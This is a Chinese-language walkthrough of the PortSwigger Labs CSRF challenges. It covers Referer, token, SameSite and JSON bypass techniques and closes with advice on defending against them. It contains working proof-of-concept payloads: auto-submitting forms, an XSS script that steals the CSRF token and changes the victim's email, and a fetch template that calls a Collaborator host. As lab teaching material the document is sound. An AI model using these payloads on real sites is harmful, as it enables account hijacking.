1. 项目概述:为什么CSRF依然是Web安全的“隐形杀手”?
在Web安全领域,提到漏洞,很多人会立刻想到SQL注入、XSS(跨站脚本),但有一个同样危险却常常被开发者低估的漏洞——CSRF(跨站请求伪造)。它就像一个“借刀杀人”的诡计,攻击者诱导用户在不知情的情况下,以其身份向信任的网站发起恶意请求。PortSwigger Labs作为业界公认的权威Web安全学习平台,其CSRF靶场系列从最基础的漏洞原理到复杂的绕过技巧,构建了一条完整的学习路径。我花了近两周时间,系统性地通关了所有CSRF相关的挑战,从最初的“这也能绕过?”的惊讶,到后来能够主动构造利用链的从容,这个过程让我对CSRF的理解从理论层面彻底下沉到了实战层面。
这个靶场实战的核心价值在于,它不仅仅是教你点击一个按钮。它模拟了真实世界中,开发者为了防御CSRF而设置的各种“路障”——从简单的Referer检查、Token验证,到复杂的同源策略(SOP)利用、JSON劫持,甚至结合其他漏洞形成组合拳。通过亲手绕过这些防御,你才能真正理解防御机制的薄弱点在哪里,从而在开发或审计时,知道如何构建更坚固的防线。无论你是刚入门的安全爱好者,还是想巩固CSRF知识体系的安全工程师,这个实战过程都能让你获得远超阅读文档的深刻认知。接下来,我将拆解整个实战旅程中的关键节点、绕过思路和那些令人拍案叫绝的高级利用技巧。
2. 核心思路拆解:理解CSRF防御与攻击的博弈本质
CSRF攻击之所以能成立,核心在于Web的身份认证机制(通常是Cookie)在请求发生时会被浏览器自动携带。防御的思路,就是让服务器有能力区分“用户自愿发起的合法请求”和“攻击者伪造的恶意请求”。PortSwigger靶场的编排,正是沿着防御措施的演进路线展开的。理解这场攻防博弈,是通关的关键。
2.1 防御机制的演进与对应攻击面
主流的CSRF防御机制可以归纳为以下几类,靶场也基本围绕它们设计:
验证请求来源(Referer/Origin Header):这是最直观的防御。服务器检查HTTP请求头中的
Referer或Origin字段,判断请求是否来自同源站点。攻击思路就是让这个检查失效,比如利用HTTPS到HTTP的Referer剥离、利用meta标签刷新或某些浏览器的隐私设置来构造一个“合法”或“空”的Referer。使用CSRF Token:这是目前最有效的防御手段之一。服务器在表单中嵌入一个随机、不可预测的Token,提交时验证该Token。攻击思路从窃取Token(如结合XSS)到绕过Token验证逻辑(如Token未绑定会话、可重复使用、校验逻辑缺陷)。
自定义请求头:通过JavaScript在请求中添加一个自定义Header(如
X-Requested-With: XMLHttpRequest),并验证其存在。这依赖于同源策略(SOP)对自定义请求头的限制。攻击思路是寻找不依赖JavaScript的请求方式,或者利用CORS配置缺陷来绕过SOP。双重Cookie验证:将Token放在Cookie中,请求时再从Cookie或请求体中读取并比对。这听起来很安全,但攻击思路在于利用子域Cookie作用域或诱导用户触发某些请求来间接利用。
SameSite Cookie属性:这是浏览器层面的防御,通过设置Cookie的
SameSite属性为Strict或Lax,可以极大限制跨站请求携带Cookie。攻击思路则聚焦于寻找SameSite为None或未设置的Cookie,或者利用GET请求进行攻击(SameSite=Lax允许顶级导航的GET请求携带Cookie)。
靶场的挑战就是让你站在攻击者角度,逐一击破这些防御。我的整体思路是:面对一个功能点(如修改邮箱),首先用Burp Suite抓包,分析其请求特征和现有的防御措施;然后根据防御类型,在脑海中快速匹配可能的绕过姿势;最后构造PoC(概念验证)页面进行测试。
2.2 工具准备与测试环境搭建
工欲善其事,必先利其器。虽然PortSwigger Labs是在线环境,但高效的测试离不开本地工具链。
浏览器与代理:我主要使用Chrome或Firefox,配合Burp Suite Professional。Burp的代理、重放(Repeater)、漏洞扫描(Scanner)和协同测试(Collaborator)功能贯穿始终。社区版(Burp Suite Community)虽然功能受限,但用于抓包和手动重放也完全足够。
本地PoC开发环境:一个简单的HTTP服务器至关重要。我习惯用Python快速搭建:
python3 -m http.server 8000。这样我可以在本地创建exploit.html文件,通过http://localhost:8000/exploit.html访问并触发攻击。复杂一点的场景,可能会用到Node.js的express框架来模拟一个恶意站点。浏览器扩展辅助:有些挑战需要修改请求头或Cookie,我会使用如
ModHeader这样的扩展来临时添加或删除特定的HTTP头,非常方便。思维导图工具:我用XMind来梳理CSRF的绕过树状图。将防御手段作为主干,各种绕过技巧作为分支,每完成一个靶场就在对应分支上标记。这有助于形成体系化的知识网络,看到一个新的防御时能快速联想可能的攻击路径。
注意:在测试涉及修改邮箱、转账等敏感操作的CSRF时,务必使用靶场提供的测试账户,切勿在真实网站上进行任何未经授权的测试,这是职业道德和法律底线。
3. 基础绕过实战:撕开第一道防线
靶场的前几个挑战通常设计为“无防护”或“简单防护”状态,目的是让我们熟悉CSRF攻击的基本构造和PortSwigger靶场的环境。但即便是基础关卡,也暗藏玄机。
3.1 无Token验证的简单CSRF
这是最经典的场景。假设有一个修改邮箱的POST请求,表单如下:
<form action="https://vulnerable-website.com/email/change" method="POST"> <input type="email" name="email" value="attacker@evil.com"> </form>攻击者只需要在自己的恶意站点上构造一个自动提交的表单,并利用iframe或直接诱导用户访问即可。
<!-- exploit.html --> <body onload="document.forms[0].submit()"> <form action="https://vulnerable-website.com/email/change" method="POST"> <input type="hidden" name="email" value="hacked@evil.com"> </form> </body>实操要点:这里的关键是onload事件和hidden属性。onload确保页面加载后自动提交,hidden隐藏输入框,用户毫无感知。在靶场中,你可能会发现请求体是JSON格式({"email":"new@mail.com"}),这时传统的<form>无法直接提交JSON。你需要使用fetchAPI或XMLHttpRequest来构造请求,但这会受到同源策略限制,除非目标站点CORS配置不当。靶场早期关卡会引导你思考这种差异。
3.2 绕过Referer检查
当服务器开始检查Referer头时,攻击变得稍微复杂。常见的检查逻辑有:
- 包含特定域名:检查Referer是否包含
trusted-domain.com。 - 排除特定域名:检查Referer是否不来自
evil.com。 - 为空时通过:一些配置错误的检查会在Referer为空或缺失时默认通过。
绕过方法1:利用Referer剥离。如果目标站是HTTPS,而你的攻击页面是HTTP,在某些浏览器或网络架构(如部署了某些反向代理或安全网关)中,从HTTPS页面发起到HTTP的请求,浏览器出于安全考虑可能不会发送Referer头。你可以搭建一个简单的HTTP页面来测试。
绕过方法2:利用meta标签或JavaScript控制导航。你可以构造一个页面,先通过<meta http-equiv="refresh" content="0;URL=https://vulnerable-website.com/evil-action">或window.location进行跳转。对于紧随其后的请求,Referer可能是跳转前的页面(即你的恶意页面),也可能是空,这取决于浏览器实现和跳转方式,需要实测。
绕过方法3:伪造Referer。如果检查只是“包含某字符串”,你可以尝试将恶意页面放在一个子域名下,例如https://trusted-domain.com.attacker-website.net/exploit.html。粗心的正则匹配可能会中招。更高级的,可以利用服务器端请求伪造(SSRF)或开放重定向漏洞,让请求看起来是从可信域内部发起的。
在一个靶场挑战中,我遇到了检查Referer是否包含目标域名自身的场景。我最初的攻击页面部署在evil.net,Referer自然是evil.net,被拦截。后来我将攻击页面通过数据URL(data:text/html,<form...>) 的方式嵌入到一个指向目标域的iframe中,由于数据URL没有传统域名,触发请求时的Referer在某些情况下为空,成功绕过了检查。这个技巧提醒我,“空值”或“异常值”往往是绕过校验的突破口。
4. 中级对抗:破解CSRF Token防御
当靶场引入CSRF Token时,游戏才真正开始。Token的本质是增加攻击的不可预测性,但实现上的瑕疵会使其形同虚设。
4.1 Token与Session绑定不严
最理想的Token应该与用户会话(Session)唯一绑定,且一次性使用。但我在靶场中遇到过以下几种有问题的实现:
Token未绑定会话:所有用户共享同一个Token,或者Token基于时间等可预测因子生成。攻击者可以先访问自己的账户页面,获取有效的Token,然后将其用于攻击其他用户的请求中。在Burp Repeater中,你可以用两个不同的会话(两个浏览器或两个Burp标签页)分别抓取Token和提交请求,验证其是否通用。
Token可重复使用:Token在使用后没有被服务器立即废弃,导致可以被重复使用多次。这意味着攻击者只要获取一次Token(例如,通过诱使用户访问一个包含获取Token请求的页面),就可以用这个Token发起多次CSRF攻击。测试方法是用同一个Token连续发送两次修改请求,看第二次是否成功。
Token放在Cookie中:这是一种有缺陷的“双重Cookie”验证变体。服务器将Token设置在Cookie中,提交表单时再从请求体(Body)或另一个Header中读取Token,并与Cookie中的值比对。这看起来安全,因为攻击者无法读取或设置目标站的Cookie(同源策略)。但是,如果网站存在任何子域或路径下的XSS漏洞,攻击者就可以利用它窃取这个Token Cookie。更直接的是,如果服务器错误地信任了来自其他子域的请求(CORS配置错误),攻击者甚至可以直接读取Cookie。
4.2 利用逻辑缺陷绕过Token验证
有些漏洞不在于Token本身,而在于验证逻辑。
- 删除Token参数:服务器可能同时检查请求中是否存在Token参数和其值是否正确。但如果攻击者完全删除
csrf这个参数,服务器可能会因为找不到该参数而跳过检查。在Burp Repeater中,尝试直接删除包含Token的整行参数,然后发送请求。 - 修改请求方法:验证逻辑可能只针对POST请求,而对GET请求不做Token检查。尝试将POST请求改为GET,并将参数附加在URL后面(注意URL长度限制)。例如,将
POST /change-email改为GET /change-email?email=hacked@evil.com。 - Token位置混淆:服务器可能从固定位置(如Body)取Token,但代码逻辑允许从多个位置(Body、Header、URL参数)读取,并取第一个非空值。攻击者可以在Body中放置一个错误Token,同时在Header(如
X-CSRF-Token)中放置正确的Token。如果服务器验证逻辑是“Header优先”,且只验证第一个找到的Token,那么Body中的错误Token就会被忽略。
我记忆深刻的一个靶场关卡,其Token验证存在一个顺序解析漏洞。它先检查请求头X-CSRF-Token,再检查Body中的csrf参数。但它的逻辑是:如果Header存在且正确,则通过;如果Header不存在或错误,则再去检查Body。我构造的PoC在HTML中无法直接设置自定义Header(传统表单不行),但我发现该站允许Content-Type: text/plain的POST请求,并且其解析器会以某种方式解析参数。我最终通过一个特殊的fetch请求,同时设置了自定义Header和Body,成功误导了服务器的校验流程。这个过程让我明白,仔细阅读服务器对请求的解析和校验顺序,往往能发现逻辑死角。
5. 高级利用链剖析:当CSRF遇上其他漏洞
PortSwigger靶场的高阶部分,精彩之处在于将CSRF与其他漏洞结合,构建出令人意想不到的攻击链。这模拟了真实网络攻击中“组合拳”的威力。
5.1 CSRF + XSS:Token窃取与权限升级
这是最经典的组合。如果一个网站存在存储型XSS漏洞,攻击者就可以注入恶意脚本。当其他用户浏览到该页面时,脚本执行,可以轻松读取页面中的CSRF Token(因为Token通常就藏在页面的HTML或JavaScript变量里),然后利用这个Token发起一个“完美”的CSRF请求。
实战场景:靶场提供了一个博客评论功能,存在XSS。我在评论中插入以下脚本:
<script> fetch('/my-account', {credentials: 'include'}) .then(r => r.text()) .then(html => { // 使用DOM解析从HTML中提取CSRF Token let parser = new DOMParser(); let doc = parser.parseFromString(html, 'text/html'); let token = doc.querySelector('input[name="csrf"]').value; // 使用窃取的Token发起CSRF攻击 fetch('/my-account/change-email', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: `email=attacker@evil.com&csrf=${token}`, credentials: 'include' }); }); </script>当管理员或任何用户查看这条评论时,他们的邮箱会在后台被悄无声息地修改。这个链路的可怕之处在于,它完全在后台发生,无需用户交互,且因为使用了合法的Token,能绕过所有基于Token的防御。
5.2 基于JSON的CSRF与Content-Type绕过
现代Web应用常用JSON API。CSRF攻击JSON接口的难点在于,浏览器在发送跨域请求时,对于Content-Type: application/json的请求,会先发送一个OPTIONS预检请求(Preflight)。如果服务器CORS策略不允许跨域,则实际请求会被浏览器阻止。
绕过技巧1:利用Content-Type: text/plain。有些服务器端框架(如某些旧版本或配置不当的)在处理请求时,会根据Content-Type来解析Body。如果服务器端代码逻辑是“如果是JSON就解析JSON,否则按其他方式解析”,并且处理函数最终仍能处理JSON格式的数据,那么攻击者可以将Content-Type改为text/plain,而Body仍然是JSON字符串。这样浏览器不会触发预检,请求可以发出。服务器可能因为Content-Type不匹配而按默认方式解析,但如果解析库足够“宽容”,JSON数据依然能被正确提取。
绕过技巧2:利用HTML表单的默认行为。HTML表单的enctype属性默认为application/x-www-form-urlencoded,无法直接提交JSON。但是,你可以通过隐藏的input元素模拟JSON结构吗?不行。然而,有些服务器API设计存在缺陷,它可能同时支持表单格式和JSON格式,并且处理逻辑存在优先级或覆盖问题。我曾在一个靶场中,发现其API虽然声明接收JSON,但后端代码会先尝试解析表单参数,如果存在email参数就直接使用,忽略JSON Body。于是,我用一个普通的表单提交application/x-www-form-urlencoded数据,就成功攻击了本该需要JSON的接口。
5.3 利用Cookie作用域与SameSite属性
SameSiteCookie属性是现代浏览器防御CSRF的利器。SameSite=Strict最安全,完全禁止跨站携带;Lax允许从外部链接进行顶级导航的GET请求携带Cookie。
攻击思路:
- 寻找未设置SameSite的Cookie:很多旧系统或配置疏忽的站点,其会话Cookie没有设置
SameSite属性,默认为None(在较新浏览器中,默认策略已趋严,但仍有大量存量)。这些Cookie就是CSRF攻击的绝佳目标。 - 攻击GET请求:即使Cookie设置了
SameSite=Lax,对于GET请求(如图片标签<img>的src、表单的GET方法、<a>链接点击),在用户主动触发顶级导航时,Cookie依然会被携带。因此,将敏感操作(如删除账户GET /delete-account)设计成GET方法是极其危险的。 - 利用子域:如果Cookie的
Domain属性设置为.example.com(包含前导点),那么它在所有子域(如app.example.com、admin.example.com)都是有效的。如果admin.example.com存在XSS,攻击者可以利用它向app.example.com发起CSRF,因为Cookie是共享的。
在一个高级靶场中,目标站点的会话Cookie设置了SameSite=Lax,但有一个关键的OAuth授权确认端点使用了GET请求,并且该请求会修改用户状态。我构造了一个恶意页面,其中包含一个隐藏的<img>标签,其src指向这个授权端点。当用户访问我的页面时,浏览器会加载这个图片,发起一个GET请求。由于是GET请求且是跨站的,SameSite=Lax的Cookie被成功携带,攻击生效。这个案例警示我们:SameSite=Lax并非万能,不安全的HTTP方法(GET)设计会使其防御失效。
6. 疑难问题排查与技巧实录
在实战过程中,我遇到了不少坑,也总结了一些排查技巧。
6.1 请求发出去了,但为什么没生效?
这是最常见的问题。我的排查清单如下:
- 检查响应状态码:在Burp Repeater或浏览器开发者工具的网络面板中,确认请求是否返回了
200 OK或302 Found等成功状态码。有时服务器处理了请求但业务逻辑失败,会返回200但Body中有错误信息。 - 检查响应内容:仔细阅读响应Body。服务器可能会返回“Token无效”、“Referer不正确”或“参数错误”等明确信息。
- 确认Cookie是否携带:确保你的PoC页面与目标站是跨域的(不同协议+域名+端口)。在同源页面测试CSRF是无效的,因为那本身就是合法请求。使用浏览器开发者工具,查看发送的请求头中是否确实包含了
Cookie字段。 - 验证请求格式:对比合法请求和你的攻击请求,确保请求方法(GET/POST)、
Content-Type、参数名称和格式(JSON/表单)完全一致。一个多余的空格或错误的编码都可能导致失败。 - 注意用户交互状态:有些操作可能需要用户处于“已登录且会话活跃”状态。如果你的PoC页面在用户登录后很久才被打开,会话可能已过期。可以尝试在PoC中先通过一个隐藏的
iframe访问一下目标站的主页,以“唤醒”会话。
6.2 高级技巧:使用Burp Collaborator探测盲点
对于盲CSRF(即攻击没有直接回显),判断请求是否成功发出有时很困难。Burp Suite Professional的Collaborator功能是神器。
使用场景:当你怀疑某个请求可能被服务器接收并处理,但无法从响应中直接看出时(例如,修改后台配置、触发后台任务)。
操作方法:
- 在Burp中打开Collaborator,获取一个临时域名,如
xxxxx.oastify.com。 - 在你的CSRF PoC中,将某个请求参数(如邮箱地址、回调URL)的值设置为Collaborator域名,例如将邮箱改为
hacked@xxxxx.oastify.com。 - 诱使目标(或你自己在测试账户下)触发这个PoC。
- 回到Burp Collaborator界面,点击“Poll now”。如果目标服务器在处理你的CSRF请求时,向外发起了任何网络请求(例如,发送确认邮件到
hacked@xxxxx.oastify.com,或者请求了你嵌入的Collaborator URL),这里就会显示出来。
通过这种方式,你可以确认CSRF请求是否被成功执行,即使目标应用本身没有任何视觉上的变化。在一个靶场挑战中,我就是利用Collaborator发现,服务器在处理CSRF请求后会向管理员邮箱发送一个通知邮件,而这个邮件地址我可以通过参数控制,从而间接证明了漏洞的存在。
6.3 针对JSON接口的CSRF PoC构造模板
对于需要发送JSON的CSRF,如果绕过预检成功,一个通用的PoC模板如下:
<!DOCTYPE html> <html> <body> <script> // 假设目标端点和JSON数据 const targetUrl = 'https://vulnerable.com/api/user/email'; const jsonData = JSON.stringify({ email: 'attacker@evil.com' }); // 方法1:使用fetch并尝试绕过预检(需要服务器CORS配置允许) // 注意:如果服务器不允许跨域,此方法会被浏览器阻止 fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', // 或尝试 'text/plain' }, body: jsonData, credentials: 'include' // 携带Cookie }).then(response => { console.log('Request sent, status:', response.status); // 可以在这里用Collaborator域名发起一个请求作为通知 fetch('https://YOUR_COLLABORATOR.oastify.com/?status=' + response.status); }).catch(err => console.error('Error:', err)); // 方法2:动态创建表单(仅适用于服务器能错误处理JSON的情况,不推荐) // 这种方法无法设置Content-Type为application/json,成功率低。 </script> <h1>Loading...</h1> </body> </html>在实际测试中,优先使用方法1,并配合修改Content-Type和观察CORS策略。如果失败,再深入分析服务器是否有可能接受非JSON格式的请求。
7. 防御措施建议:从攻击者视角加固你的应用
经历了这一系列绕过,再回过头来看防御,视角会完全不同。以下是我从攻击者角度总结的、真正有效的CSRF防御最佳实践:
使用同步器令牌模式(Synchronizer Token Pattern)并确保正确实现:
- 随机且不可预测:Token必须是密码学安全的随机数。
- 绑定会话:Token必须与当前用户会话唯一关联。
- 一次性使用:重要操作(如修改密码、邮箱)的Token应在验证后立即失效。
- 安全存储与传递:Token应放在隐藏的表单字段或自定义HTTP头(如
X-CSRF-Token)中,切勿放在URL或Cookie中作为主要验证凭据。 - 验证逻辑严谨:严格比较提交的Token与服务器存储的是否一致,并确保校验逻辑在所有相关端点都被执行。
实施双重提交Cookie(Double Submit Cookie)的升级版: 传统方式有缺陷。更安全的方式是,服务器在Cookie中设置一个随机值(如
CSRF-TOKEN=),同时在每个响应中(如页面HTML的meta标签)也输出这个值。前端JavaScript读取这个值,并在发送请求时将其作为一个自定义Header(如X-CSRF-Token)发送。服务器比较Cookie中的值和Header中的值是否一致。因为攻击者无法读取或设置目标站的Cookie(同源策略),所以他无法构造正确的Header。严格设置Cookie的SameSite属性:
- 对于会话Cookie,始终设置为
SameSite=Strict或Lax。 - 只有确定需要跨站共享的Cookie(如第三方登录、嵌入组件)才设置为
SameSite=None,并且必须同时设置Secure属性(仅限HTTPS)。
- 对于会话Cookie,始终设置为
对敏感操作使用安全方法:
- 遵循RESTful规范:使用POST、PUT、PATCH、DELETE等非幂等方法执行状态修改操作,避免使用GET。
- 增加用户交互:对于关键操作(如转账、删除账户),要求用户进行二次确认(输入密码、验证码等),这能有效增加CSRF攻击的难度。
实施深度防御:
- 检查Origin/Referer头:作为辅助手段,验证请求是否来自预期的源。但要知道,Referer可能被屏蔽或伪造,不能作为唯一依赖。
- 使用自定义请求头:如前所述,结合JavaScript添加自定义头(如
X-Requested-With),并验证其存在。这能阻挡大部分简单的跨站表单提交。 - 定期安全审计与测试:使用自动化工具(如Burp Scanner)和手动测试,定期对应用进行CSRF漏洞扫描。特别是关注API接口和状态变更端点。
完成整个PortSwigger Labs的CSRF靶场,就像完成了一次从新兵到侦察兵的训练。它教会我的不仅是技巧,更是一种思维模式:永远不要相信来自客户端的任何数据,永远要以最坏的恶意去揣测每一个请求的来历。防御CSRF,本质上是一场关于“意图验证”的战争。作为开发者,你的代码必须有能力回答一个问题:“这个请求,真的是用户本意想发的吗?” 而作为安全研究者,你的任务就是找出所有能让这个问题得到错误答案的方法。这场博弈,永无止境。